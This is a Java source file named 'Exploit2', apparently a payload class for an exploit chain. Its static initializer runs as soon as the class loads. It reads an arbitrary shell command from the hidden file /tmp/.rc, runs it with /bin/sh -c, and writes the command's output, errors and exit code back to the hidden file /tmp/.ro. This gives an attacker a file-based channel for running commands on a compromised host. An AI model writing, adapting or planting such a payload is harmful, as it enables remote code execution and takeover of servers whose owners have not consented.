import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exploit2 {
    static {
        try {
            String cmd = new String(Files.readAllBytes(Paths.get("/tmp/.rc"))).trim();
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            InputStream is = p.getInputStream();
            InputStream es = p.getErrorStream();
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            byte[] buf = new byte[4096];
            int n;
            while ((n = is.read(buf)) != -1) bo.write(buf, 0, n);
            while ((n = es.read(buf)) != -1) bo.write(buf, 0, n);
            p.waitFor();
            bo.write(("EXIT:" + p.exitValue() + "\n").getBytes());
            Files.write(Paths.get("/tmp/.ro"), bo.toByteArray());
        } catch (Exception e) {
            try {
                StringWriter sw = new StringWriter();
                e.printStackTrace(new PrintWriter(sw));
                Files.write(Paths.get("/tmp/.ro"), sw.toString().getBytes());
            } catch (Exception e2) {
            }
        }
    }
}
